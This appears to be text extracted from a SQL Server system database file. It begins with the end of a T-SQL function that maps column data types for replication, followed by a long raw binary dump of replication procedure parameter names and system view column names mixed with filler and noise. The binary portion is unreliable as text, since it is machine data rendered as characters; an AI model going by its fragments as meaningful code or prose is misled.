            end
        end
        else
        begin
            select @typestring = 
                case @coltypename
                    when N'datetime2' then N'nvarchar(27)'
                    when N'datetimeoffset' then N'nvarchar(34)'
                    when N'time' then N'nvarchar(16)'
                end
        end
    end
    else if @coltypename in (N'date')
    begin
        if @newdatetimetypestostrings = 0
        begin
            set @typestring = @coltypename
        end
        else
        begin
            set @typestring = N'nvarchar(10)'
        end
    end
	else if @coltype = 108 or @coltype = 106
	begin
		if (@colprec is not null) and (@colprec > 0)
		begin
			select @typestring = @coltypename + N'(' + convert(nvarchar, @colprec)

			if (@colscale is not null)
			begin
				select @typestring = @typestring + N',' + convert(nvarchar, @colscale)
			end

			select @typestring = @typestring + N')'
		end
	end
	else if @coltype = 189 
	begin
		if @maptimestamp = 1
			select @typestring = N'binary(8)'
		else
			select @typestring = @coltypename
	end
	else if @coltype = 240
	begin
        if @coltypename = N'utcdatetime'
        begin
            select @typestring = @coltypename
        end
        else if @userdefinedtypestobasetypes = 1 
        begin
            -- For now, follow the snapshot agent rule of converting 
            -- CLR UDT to image if UserDefinedTypesToBaseTypes is enabled
            select @typestring = N'image'
        end
        else if @hierarchyidtovarbinarymax = 1 and lower(@coltypename collate SQL_Latin1_General_CP1_CS_AS) = N'hierarchyid'
        begin
            select @typestring = N'varbinary(max)'
        end
        else if @spatialtypestovarbinarymax = 1 and lower(@coltypename collate SQL_Latin1_General_CP1_CS_AS) in (N'geometry',N'geography')
        begin
            select @typestring = N'varbinary(max)'
        end
        else if @largeuserdefinedtypestovarbinarymax = 1 and @collen = -1
        begin
            select @typestring = N'varbinary(max)'
        end
        else
        begin
		    --This must be user defined type
		    --handle this case separately for clarity
            --Note: we can overflow @typestring below
            if lower(@coltypeschema collate SQL_Latin1_General_CP1_CS_AS) = N'sys'
            begin
		        select @typestring = quotename(@coltypename)
            end
            else
            begin
		        select @typestring = quotename(@coltypeschema) + N'.' + quotename(@coltypename)
            end
        end
	end
	else
	begin
		select @typestring = @coltypename
	end

    -- Further remapping of types based on schema options
    if @xmltontext = 1
    begin
        if @typestring = N'xml'
        begin
            select @typestring = N'ntext'
        end
    end

    if @maxtypestomatchingnonmaxtypes = 1
    begin
        if @typestring = N'varchar(max)'
        begin
            select @typestring = N'text'
        end
        else if @typestring = N'nvarchar(max)'
        begin
            select @typestring = N'ntext'
        end
        else if @typestring = N'varbinary(max)'
        begin
            select @typestring = N'image'
        end
    end
	-- all done
    return @typestring
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`)!16.@security_mode6*@publication6b@pubid6b@role6J(abort_state6J.affinity_count6J4appdomain_address6J6forced_yield_count6J2sos_task_address6Jstate6J*task_address6Jtype6 ,@replnick_new6 ,@replnick_old6=2@collection_name6=*@schema_name6=4@target_namespace6!E*@publication6!E&@publisher6!E0@publisher_type6!Epubid63I.@database_name6{R@dbid6{R(@dumpsystem6{R @fileid6{R$catalogid6{Rclsid6{R,componentname6{R,componenttype6{R"fullpath6{R*manufacturer6{R version6_(@best_match6_&@data_type6~a(@createmode6~a&@data_file6~a0@data_file_size6~a*@data_folder6~a$@database6~a0@from_scripting6~a
6@history_retention6~a$@log_file6~a.@log_file_size6~a(@log_folder6~a@login6~a	6@max_distretention6~a6@min_distretention6~a
$@password6~a.@security_mode6@ib.broker_address6@ib>comp_exec_ctxt_address6@ib*diag_address6@ib&ec_address6@ib<federatedxact_address6@ib6filestream_address6@ib	4host_task_address6@ib2msqlxact_address6@ib,qe_cc_address6@ib
:query_driver_address6@ib4queryscan_address6@ib
4sni_error_address6@ib2sql_prof_address6@ib<stack_checker_address6@ib6task_proxy_address6@ib.worker_address6-+e>in_row_data_page_count6-+eFin_row_reserved_page_count6-+e>in_row_used_page_count6-+e"index_id6-+e	@lob_reserved_page_count6-+e8lob_used_page_count6-+e$object_id6"@article6@objid6@artid6(@queued_pub6!&@publisher6!,@publisher_db6!*@publication6!(@subscriber6!.@subscriber_db6!6@subscription_type6? @job_id6?4@dts_package_name6?<@dts_package_password6?<@dts_package_location6?2@change_password
?6a**@publication6a*"@article6D*@publication6D"@article6D.@source_object6D@type6D*@description6D2@column_tracking6D @status6D4@pre_creation_cmd6D	2@creation_script6D
.@schema_option6D:@subset_filterclause6D4@article_resolver6D
.@resolver_info6D,@source_owner6D6@destination_owner6D8@vertical_partition6D:@auto_identity_range6D8@pub_identity_range6D0@identity_range6D&@threshold6DF@verify_resolver_signature6D8@destination_object6DH@allow_interactive_resolver6DD@fast_multicol_updateproc6D6@check_permissions6DF@force_invalidate_snapshot6D>@published_in_tran_pub6DF@force_reinit_subscription6Db@logical_record_level_conflict_detection6Dd@logical_record_level_conflict_resolution6D6@partition_options6D 4@processing_order6D!F@subscriber_upload_options6D"N@identityrangemanagementoption6D#2@delete_tracking6D$>@compensate_for_errors6D%:@stream_blob_columns6J
@pubid6J
4@maxgen_whenadded6Ůb&@publisher6Ůb,@publisher_db6Ůb*@publication6Ůb"@artnick6B
\(database_id6B
\"index_id6B
\6last_system_lookup6B
\2last_system_scan6B
\2last_system_seek6B
\6last_system_update6B
\
2last_user_lookup6B
\	.last_user_scan6B
\.last_user_seek6B
\2last_user_update6"@article6@objid6@artid6(@queued_pub6 *@publication6 "@article6 .@rowcount_only6 ,@full_or_fast6 0@shutdown_agent6 8@subscription_level6 $@reserved6 &@publisher6!&@publisher6!,@publisher_db6!*@publication6!(@subscriber6!.@subscriber_db6!6@subscription_type6? @job_id6?4@dts_package_name6?<@dts_package_password6?<@dts_package_location6?2@change_password
?6a**@publication6a*"@article6L*hb<:

b
.
			b	,	b4vX0xT*^>~Z:|V,rrHLtFxB|68<d@r|vBt@

n

pD*|HF


(
`*)|J	[,DLc6_$@password6_$@rolename674availability_mode67>availability_mode_desc670backup_priority67(create_date67*endpoint_url67	,failover_mode67
6failover_mode_desc67"group_id67(modify_date67$owner_sid67Nprimary_role_allow_connections67
Xprimary_role_allow_connections_desc67<read_only_routing_url67&replica_id678replica_metadata_id678replica_server_name67Rsecondary_role_allow_connections67\secondary_role_allow_connections_desc670session_timeout6*name6*(pdw_node_id6*"priority6*&process_id6*&start_time6*state6*$thread_id6*	Jtotal_processor_elapsed_time6*
@total_user_elapsed_time6*(wait_reason65"backoffs65&collisions65name65&sleep_time65spins658spins_per_collision
6v		2@active_end_date6v	@@active_end_time_of_day6v	6@active_start_date6v	
D@active_start_time_of_day6v	8@frequency_interval6v	J@frequency_recurrence_factor6v	J@frequency_relative_interval6v	4@frequency_subday6v	F@frequency_subday_interval6v	0@frequency_type6v	&@job_login6v	,@job_password6v	*@publication6v	&@publisher6v	2@publisher_login6v	8@publisher_password6v	
B@publisher_security_mode6v	6@snapshot_job_name6Z(create_date6Z(database_id6Z2encryption_state6Z
:encryptor_thumbprint6Z.encryptor_type6Z,key_algorithm6Z	&key_length6Z(modify_date6Z(opened_date6Z2percent_complete6Z0regenerate_date6Z"set_date6&&@publisher6&"@version6wX$@languageE1\6E1\@char65o(pdw_node_id65oBtransaction_sequence_num6u*@publication6u&@publisher6u,@publisher_db6u,@upload_firstz6z2@number_of_units6z(@start_date6z,@unit_of_time6	@artid6	 @format6	@mode6	.@publishertype6	&@publisher6	&@usesqlclr6:(@subscriber6:,@subscriberdb6:*@publication6:@artid6: @reinit6x&@src_objid6x@artidz6z,@publisher_id6z,@publisher_db6z*@publication6z0@publication_id6z*@currentdate6/$@agent_id6.&@publisher6.,@publisher_db6.(@subscriber6.(@article_id6. @status6.8@subscription_seqno6.0@destination_db6>&@publisher6>,@publisher_db6>*@publication6MT@name6MT*@show_distdb6(@agent_type6$@agent_id6$@error_id64@alert_error_code6(@xact_seqno6(@command_id6&@publisher6,@publisher_db6	(@subscriber6
.@subscriber_db64@alert_error_text6@mode6$@agent_id6(@agent_type6(@session_id62@sequence_number60@monitor_server6L@monitor_server_security_mode6$@database6	$@log_time6
,@log_time_utc6"@message6 @source6
$@help_url6a2@pub_range_begin6a.@pub_range_end6a<@pub_next_range_begin6a8@pub_next_range_end6a@range6a$@max_used6a*@range_begin6a&@range_end6MOI@tname6MOI"@maxrows6MOI&@tablenick6MOI"@rowguid6MOI@pubid6Wi*@publication6Wi"@ctsview6WiV@dynamic_snapshot_views_table_name6Wi<@create_dynamic_views6Wi*@max_bcp_gen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!bTT,nD
B l


$$|T>j
D
"
pJ\4.


R
,

			:		r:N@d<rL&6vL
h6(6tNlH rJ$b\hBNv\^:`%Dw)Z	
a:
61:owning_principal_sid61Howning_principal_sid_binary\6\@geom6g*@column_name6g,@table_schema6`*@publication6`(@subscriber6`.@subscriber_db6*@publication6&@publisher68l8dtc_isolation_level68l	$dtc_state68l
&dtc_status68lDfilestream_transaction_id68lname68l
(pdw_node_id68l>transaction_begin_time68l.transaction_id68l4transaction_state68l6transaction_status68l8transaction_status268l2transaction_type68l0transaction_uow6u	(auth_scheme6u6client_net_address6u0client_tcp_port6u*connect_time6u,connection_id6u.encrypt_option6u(endpoint_id6u
$last_read6u&last_write6u4local_net_address6u.local_tcp_port6u>most_recent_session_id6u>most_recent_sql_handle6u0net_packet_size6u,net_transport6u
,node_affinity6u$num_reads6u&num_writes6u:parent_connection_id6u,protocol_type6u2protocol_version6u&session_id6
V @dbname6
V@type64@colid64.@publishertype64@tabid6M,creation_time6M"filename6M,size_in_bytes60@component_type6@param62@active_end_date6
@@active_end_time_of_day6
6@active_start_date6D@active_start_time_of_day68@frequency_interval6	J@frequency_recurrence_factor6J@frequency_relative_interval64@frequency_subday6F@frequency_subday_interval60@frequency_type6@id6@login6@name6$@password6$@proxy_id6$@step_uid6Ǥ"@autofix6@colid6"@colname6N@maxtypestomatchingnonmaxtypes6<@newdatetimetostrings6@tabid6(@typestring6J@userdefinedtypestobasetypes6(@xmltontext66"@catalog66"@grantee66"@grantor66@name66 @schema6@޲@artid6@޲ @format6@޲@mode6@޲.@publishertype6@޲&@publisher6N&@publisher6N0@publisher_type6Z@@regular_snapshot_jobid6Z<@dynamic_filter_login6ZB@dynamic_filter_hostname6ZF@dynamic_snapshot_location6ZD@dynamic_snapshot_jobname6Z@@dynamic_snapshot_jobid6ZN@dynamic_snapshot_job_step_uid6Z$@freqtype6Z	,@freqinterval6Z
*@freqsubtype6Z2@freqsubinterval6Z<@freqrelativeinterval6Z
<@freqrecurrencefactor6Z2@activestartdate6Z.@activeenddate6Z<@activestarttimeofday6Z8@activeendtimeofday6ZF@dynamic_snapshot_agent_id6Z,@partition_id6@nick6:@qualified_tablename6@pubid6>@unqualified_tablename6J@bm16J@bm26J@bmout!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P4f\4

j
L
*
(

l<x.

|
<


			n	B	$	vDh<b.b8tJ2n2xBn
DzHx:j2b6p`)^~06M>>@use_default_datatypes6M>8@vertical_partition6&? ,ansi_defaults6&?4ansi_null_dflt_on6&?#&ansi_nulls6&?"*ansi_padding6&?!,ansi_warnings6&?&arithabort6&?1Fauthenticating_database_id6&?<client_interface_name6&?.client_version6&?$@concat_null_yields_null6&?
*context_info6&?"cpu_time6&?0(database_id6&?&date_first6&?(date_format6&?'4deadlock_priority6&?(endpoint_id6&?/"group_id6&?$host_name6&?0host_process_id6&?0is_user_process6&?"language6&?<last_request_end_time6&?@last_request_start_time6&?,<last_successful_logon6&?-@last_unsuccessful_logon6&?&*lock_timeout6&?,logical_reads6&?	&login_name6&?&login_time6&?*memory_usage6&?
$nt_domain6&?*nt_user_name6&?2>open_transaction_count6&?+8original_login_name6&?*:original_security_id6&?3(pdw_node_id6&?)&prev_error6&?*program_name6&?4quoted_identifier6&?reads6&?($row_count6&?(security_id6&?&session_id6&?status6&?$text_size6&?6total_elapsed_time6&?:total_scheduled_time6&?%Htransaction_isolation_level6&?.8unsuccessful_logons6&?writes68%@"@article68%@F@force_invalidate_snapshot68%@F@force_reinit_subscription68%@$@property68%@*@publication68%@&@publisher68%@@value9BN69BN"@db_name69BN@hrepl&V6&V2@number_of_units6&V(@start_date6&V,@unit_of_time6v @strCmd69w(@OptionName69w*@OptionValue69w4@TableNamePattern6Ƌ @job_id6Ƌ*@publication6Ƌ&@publisher6Ƌ,@publisher_db6`1(@level0name6`1(@level0type6`1(@level1name6`1(@level1type6`1(@level2name6`1(@level2type6`1@name6B$DriveName6@bm6&@coltotest6B4@destination_dbms6B:@destination_version6B*@source_dbms6B0@source_version6 @dbName6y/&@publisher6F$@agent_id6F&@runstatus6F$@comments6F(@xact_seqno6F@@delivered_transactions6F8@delivered_commands6F.@delivery_rate6F&@log_error6F	6@perfmon_increment6F
"@xactseq6F(@command_id6F:@update_existing_row6F
0@updateable_row6F,@do_raiserror6NJ&@job_login6NJ,@job_password6NJ$@job_name6NJ.@frompublishern6n&@retention6&4@capture_instance6&>@closed_high_end_point6&*@column_list6&4@update_flag_listwzr6wzr@subid6M?&@tablenick6M?"@rowguid6M? @marker6>$@nickname6>@pubid6>4@processing_order6@pubid61{4@article_resolver61{0@resolver_clsid61{@artid61{.@resolver_info6}%&@tablenick6}%"@rowguid6}%"@version6ٶ"@rowguid6ٶ&@tablenick6ٶ$@metatype6ٶ@pubid6ٶ&@uplineage6ٶ&@inlineage6ٶ @incolv6#@pubid6#@artid6#.@schemaversion6#(@schemaguid6#(@schematype6#(@schematext6#.@schemasubtype6#<@update_schemaversion!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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^*rH<&p$2

V"d<jH:


b

			\	"	\8p6rH"f*\,b<Z\6`X)L
ʟ6V$@ins_proc6V8@primary_key_bitmap6V
(@proc_owner6V*@publication6V&@publisher6V,@publisher_db6V(@pubversion6V&@sub_table6V2@sub_table_owner6V @ts_col6V$@upd_proc6]4@last_sync_status6]6@last_sync_summary6]@subid6M_2@cursor_identity6M_.@cursor_return6M_.@cursor_source6d @dbname6d"@dropdev6t$@rolename6{"index_id6{$object_id6{,physical_namem2{6m2{&@object_id6m2{ @prefix6m2{*@publication6$2@active_end_date6$@@active_end_time_of_day6$6@active_start_date6$D@active_start_time_of_day6$$:@alt_snapshot_folder6$*@distributor6$6@distributor_login6$<@distributor_password6$F@distributor_security_mode6$,F@dynamic_snapshot_location6$:@enabled_for_syncmgr6$8@encrypted_password6$8@frequency_interval6$J@frequency_recurrence_factor6$J@frequency_relative_interval6$4@frequency_subday6$F@frequency_subday_interval6$0@frequency_type6$ *@ftp_address6$"&@ftp_login6$#,@ftp_password6$!$@ftp_port6$3$@hostname6$/0@internet_login6$06@internet_password6$1@@internet_security_mode6$24@internet_timeout6$.,@internet_url6$4&@job_login6$+$@job_name6$5,@job_password6$*@merge_jobid6$@name6$),@offloadagent6$*.@offloadserver6$>@optional_command_line6$*@publication6$&@publisher6$,@publisher_db6$L@publisher_encrypted_password6$2@publisher_login6$8@publisher_password6$B@publisher_security_mode6$'$@reserved6$	(@subscriber6$
.@subscriber_db6$4@subscriber_login6$
:@subscriber_password6$D@subscriber_security_mode6$&"@use_ftp6$(D@use_interactive_resolver6$-,@use_web_sync6$%6@working_directory6- @cookie6-"@encrypt6!@pubid6&@pubid6&@expr6>'`&@tablenick6>'`"@rowguid6>'`@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!lL@

|
X

`4xL0


d
0
			f	B		PPR|8fF |Z:.X$`4`B!)vH
-/{"6ʎ+0@update_mode_id64f@qualified_procedure_execution_object_name6T"@article6T6@nvarcharmaxscript6T*@publication6T&@publisher6T0@publisher_type6T*@update_mode6@g command6@g(database_id6@g2end_compile_time6@g"end_time6@g
"error_id6@g	label6@g&request_id6@g&session_id6@g&start_time6@gstatus6@g(submit_time6@g6total_elapsed_time6H(@configname6H*@configvalue6Y&bytes_used6Y2creation_options6Y
>creation_stack_address6Y	,creation_time6Y6max_pages_in_bytes6Y.memory_node_id6Y<memory_object_address6Yname6Y>page_allocator_address6Y
6page_size_in_bytes64F@is_repl_serializable_only!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t8
j8bDr@xN`CA)24`6:K&@tracer_id64FO4@publication_type6O"@netname6O @server6N^"B@add_to_active_directory6N^
2@allow_anonymous6N^&@allow_dts6N^&L@allow_initialize_from_backup6N^/@@allow_partition_switch6N^(@allow_pull6N^(@allow_push6N^6@allow_queued_tran6N^B@allow_subscription_copy6N^2@allow_sync_tran6N^:@alt_snapshot_folder6N^8@autogen_sync_procs6N^>@centralized_conflicts6N^6@compress_snapshot6N^2@conflict_policy6N^ 8@conflict_retention6N^*@description6N^+:@enabled_for_het_sub6N^
<@enabled_for_internet6N^)2@enabled_for_p2p6N^*@ftp_address6N^&@ftp_login6N^,@ftp_password6N^$@ftp_port6N^4@ftp_subdirectory6N^	0@immediate_sync6N^6@independent_agent6N^#8@logreader_job_name6N^,>@p2p_conflictdetection6N^.B@p2p_continue_onconflict6N^-6@p2p_originator_id6N^<@post_snapshot_script6N^:@pre_snapshot_script6N^*@publication6N^*H@publish_local_changes_only6N^%&@publisher6N^(0@publisher_type6N^$4@qreader_job_name6N^!(@queue_type6N^&@repl_freq6N^'.@replicate_ddl6N^0H@replicate_partition_switch6N^(@restricted6N^&@retention6N^F@snapshot_in_defaultfolder6N^ @status6N^*@sync_method6N^ @taskidb6b"@command6b,@new_argument6b6@original_argument6b&@parameter6Tg@dsn6Tg$@dso_type6Tg$@infotype6Tg@login6Tg$@password6oj2dispatcher_count6oj>d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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f(lR,



z
P
0
			T	&		tNf0xBh>l4VrJ"p>`) v0)0s6
,@identity_col6
	,@include_type6
 @indent6
 @is_new6
&@no_output6
@objid6
"@op_type6
"@postfix6
 @prefix6

8@primary_key_bitmap6

&@set_nulls6
 @spacer6
 @ts_col6@guid6B4@destination_dbms6B:@destination_version6B*@source_dbms6B0@source_version6pJ(@agent_type6pJ4@application_name6'(error_count6'"is_retry6'.memory_address6'<parent_memory_address6'8processed_row_count6'&session_id64.@failover_mode64$@override64*@publication64&@publisher64,@publisher_db60@command_string6,subclass_name6.subclass_value60trace_column_id6.trace_event_id6S$cntr_type6S&cntr_value6S*counter_name6S,instance_name6S(object_name6n@objid6n<@pass_through_scripts6n4@qual_object_name6n8@target_object_name6 @job_id6*@publication6&@publisher6,@publisher_db'6'$@password6`#,@parameter_id6`#@value6#*@publication6#&@publisher6u8*@debug_print6u8@objid6u86@subtype_addcolumn6u8.@subtype_adddf6;$@newvalue6&A@onoff66Q*@publication66Q&@publisher66Q,@publisher_db66Q6@subscription_type6QVV@lang6QVV @msgnum6QVV"@msgtext6QVV"@replace6QVV$@severity6QVV$@with_log6n6Y @object6n6Y@owner6n6Y@type6cZ^(@remotename6cZ^,@remoteserver6a_$@loginame6a_"@optname6a_$@optvalue6a_(@remotename6a_,@remoteservernb6nb(@numericlsn6.n0@connect_string6.n4@islocalpublisher6.n(@trigger_id6节@pubid6节*@publication6节&@publisher6节0@publisher_type6节$@reserved6节@role6(@locallogin6(@rmtsrvname6V$schema_id6VJSCHEMACOLLECTION_CATALOGNAME6:0@publisher_type6:&@publisher6:,@source_table6:,@source_owner6:4@publication_type62@originator_node6.@originator_db6@@originator_publication6F@originator_publication_id6>@originator_db_version6.@originator_id68@originator_version6&@publisher6,@publisher_db6*@publication66@exclude_anonymous6W&@publisher6W,@publisher_db6W*@publication6W(@subscriber6W.@subscriber_db6W @status6W6@subscription_type6W&@sync_type6W	0@frequency_type6W
8@frequency_interval6WJ@frequency_relative_interval6WJ@frequency_recurrence_factor6W
4@frequency_subday6WF@frequency_subday_interval6WD@active_start_time_of_day6W@@active_end_time_of_day6W6@active_start_date6W2@active_end_date6W8@distribution_jobid61$@agent_id61@type\6\ @hexstrV6V4@capture_instance6:|4@capture_instance6]*@publication6](@subscriber6].@subscriber_db6]&@publisher6],@publisher_db6](@web_server6]@id6:Pj*@publication6:Pj0@conflict_table6:Pj&@publisher6:Pj,@publisher_db6:PjD@logical_record_conflicts6R*@publication6p)y@pubid6p)y<@use_partition_groups6p)yD@can_use_partition_groups6G2&@tablename6G2&@ownername6G2$@procname6G2@pubid6G2@artid6G2D@generate_subscriber_proc6G26@destination_owner6@pubid6v%&@tablename6v%@col16v%@col26v%@col36v%@col46v%@col56v%@col66v%@col76v%	@col86v%
@col96v%@col106v%@col116v%
@col126v%@col136v%@col146v%@col156v%@col16!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@\6


b
2:
,

nBL$z&^&Xl&xV4


p
F
(

